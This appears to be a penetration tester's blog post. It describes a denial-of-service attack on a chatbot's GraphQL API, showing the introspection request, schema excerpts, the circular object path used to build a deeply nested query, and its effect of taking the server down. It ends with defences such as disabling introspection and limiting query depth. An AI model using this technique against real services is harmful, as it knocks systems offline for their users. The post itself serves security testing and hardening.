GraphQL is a query language and environment created by Facebook in 2012 and released publicly in 2015. However, it has only gained significant popularity among developers and organizations in the last few years. Why is it so popular? GraphQL serves as an alternative to traditional API protocols, like REST, offering a more flexible and efficient way for client-server communication.
The emergence of new technology opens up new perspectives and solves some problems, but unfortunately, it also introduces threats. This is the case with GraphQL. If used without proper knowledge, it could potentially allow for a DoS (Denial of Service) attack.
Rememeber!
This article describes just one of the many attack scenarios against GraphQL. It's crucial to remember that various threats are associated with this technology. Attacks can take different forms, and security considerations must cover multiple aspects.
Introspection Mechanism
The introspection mechanism allows GraphQL to self-analyze and dynamically read metadata about its schema. This enables exploration of available types, fields, relationships, and other schema information without needing to define these details in code beforehand. The introspection mechanism is a critical element of GraphQL’s flexibility.
If this mechanism is not disabled on a production instance, attackers could determine the data structure. In some ways, it's comparable to obtaining information about the database structure from the information_schema table during an SQL Injection attack in databases like MS SQL, PostgreSQL, or MySQL.
Atak DOS via GraphQL – real-life example
During one of the penetration tests, I was verifying an application that implemented a chatbot feature. Analyzing HTTP communication, I discovered that the bot connects with GraphQL:
POST /api/chat/graphql HTTP/1.1
Host: […]
[…]
{
"operationName":"GetRefInfo",
"variables":{
"ref":"emplocity"
},
"query":"
query GetRefInfo($ref: String!) {
public {
ref(value: $ref) {
account {
slug
locale {
[…]
}"
}
The response returned the content of the request:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
[…]
Content-Length: 368
Content-Type: application/json
Connection: close
{
"data": {
"public": {
"__typename": "Public",
"ref": null
}
},
"errors": [
{
"error_type": "AccountNotExist",
"locations": [
{
"column": 5,
"line": 3
}
],
"message": "AccountNotExist",
"path": [
"public",
"ref"
],
"sentry": "None"
}
]
}
After confirming GraphQL's presence, I attempted to download the data schema:
POST /api/chat/graphql HTTP/1.1
Host: […]
Content-Length: 1728
Content-Type: application/json
{
"query":"
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation
onFragment
onField
}
}
}
[…]
}"
}
The response revealed the structure, which I analyzed to detect objects that could be called in a looped manner. I looked for a connection where object A could access object B, and from object B, access could be gained back to object A. Below is a fragment of the introspection with highlighted objects possessing the described property:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
[…]
Content-Length: 258699
Content-Type: application/json
{
"data": {
"__schema": {
[…]
"mutationType": {
"name": "Mutation"
},
"queryType": {
"name": "Query"
},
"subscriptionType": null,
"types": [
{
"description": null,
"enumValues": null,
"fields": [
[…]
{
"args": [],
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "me",
"type": {
"kind": "OBJECT",
"name": "Chatter",
"ofType": null
}
},
[…]
],
"inputFields": null
, "interfaces": [],
"kind": "OBJECT",
"name": "Query",
"possibleTypes": null
},
[…]
{
"description": null
, "enumValues": null,
"fields": [
[…]
{
"args": […],
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "messages",
"type": {
"kind": "OBJECT",
"name": "MessageConnection",
"ofType": null
}
},
[…]
],
"inputFields": null,
"interfaces": [
{
"kind": "INTERFACE",
"name": "AuthorizedNode",
"ofType": null
}
],
"kind": "OBJECT",
"name": "Chatter",
"possibleTypes": null
},
[…]
{
"description": null,
"enumValues": null,
"fields": [
[…]
{
"args": [],
"deprecationReason": null,
"description": "Contains the nodes in this connection.",
"isDeprecated": false,
"name": "edges",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "MessageEdge",
"ofType": null
}
}
}
}
],
"inputFields": null,
"interfaces": [],
"kind": "OBJECT",
"name": "MessageConnection",
"possibleTypes": null
},
[…]
{
"description": "A Relay edge containing a `Message` and its cursor.",
"enumValues": null,
"fields": [
{
"args": [],
"deprecationReason": null,
"description": "The item at the end of the edge",
"isDeprecated": false,
"name": "node",
"type": {
"kind": "OBJECT",
"name": "Message",
"ofType": null
}
},
[…]
],
"inputFields": null,
"interfaces": [],
"kind": "OBJECT",
"name": "MessageEdge",
"possibleTypes": null
},
[…]
{
"description": null,
"enumValues": null,
"fields": [
[…]
{
"args": [],
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "conversation",
"type": {
"kind": "OBJECT",
"name": "Conversation",
"ofType": null
}
},
[…]
],
"inputFields": null,
"interfaces": [
{
"kind": "INTERFACE",
"name": "AuthorizedNode",
"ofType": null
}
],
"kind": "OBJECT",
"name": "Message",
"possibleTypes": null
},
[…]
{
"description": null,
"enumValues": null,
"fields": [
[…]
{
"args": [],
"deprecationReason": null,
"description": null,
"isDeprecated": false,
"name": "chatter",
"type": {
"kind": "OBJECT",
"name": "Chatter",
"ofType": null
}
}
],
"inputFields": null,
"interfaces": [
{
"kind": "INTERFACE",
"name": "AuthorizedNode",
"ofType": null
}
],
"kind": "OBJECT",
"name": "Conversation",
"possibleTypes": null
},
[…]
]
}
}
}
From the analyzed schema, it became clear we could create a loop by transitioning through the query named “me,” which is an object “Chatter” where you can find a node “messages” of type “MessageConnection.” Then, I discovered a node “edges” of type “MessageEdge.” The next node in the indicated type is “node” of type “Message.” Further, I found a node “conversation” representing the “Conversation” object. In the final step, a node named “chatter” of type “Chatter” was found.
Simplified, it looks like the schema below:
Chatter → MessageConnection → MessageEdge → Message → Conversation → back to Chatter.
Due to these steps, I created a loop of calls leading to a DoS attack:
The effect achieved was a response time of over 55 seconds and a response size of about 84MB. Generating such a response from the server, besides straining RAM and CPU, also affects the network, as the entire message must be sent back to the HTTP client. Sending such a request through an automation tool caused the service and the entire server to be unavailable. Of course, there was nothing preventing the payload from being increased by adding more loops, but it was unnecessary for these tests.
Defense methods:
When starting with new technology, remember that knowledge and understanding are key. Don't blindly rush towards the latest programming language or popular framework. Lack of proper knowledge can bring more problems than benefits. Begin your journey with technology by thoroughly understanding its basics.
One important step in preventing attacks is disabling the introspection mechanism. While this doesn’t solve the problem entirely, it makes it harder for potential attackers to exploit vulnerabilities. Without the ability to check available objects, an attack becomes much harder to execute. Disabling introspection can serve as an additional layer of protection.
Further steps include introducing limitations. Limit how many nesting levels can be in a request, reject the request if the limit is exceeded and consider implementing rate limiting and maximum request size. Additionally, applying response padding functions allows controlling the size of responses and breaking them into more manageable segments. Control and limitations are a key part of the strategy for protection against attacks.
Materials:
https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention
https://graphql.org/learn/introspection/
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
#CyberSecurity #Pentesting #GraphQL #ServerSecurity #PentestChronicles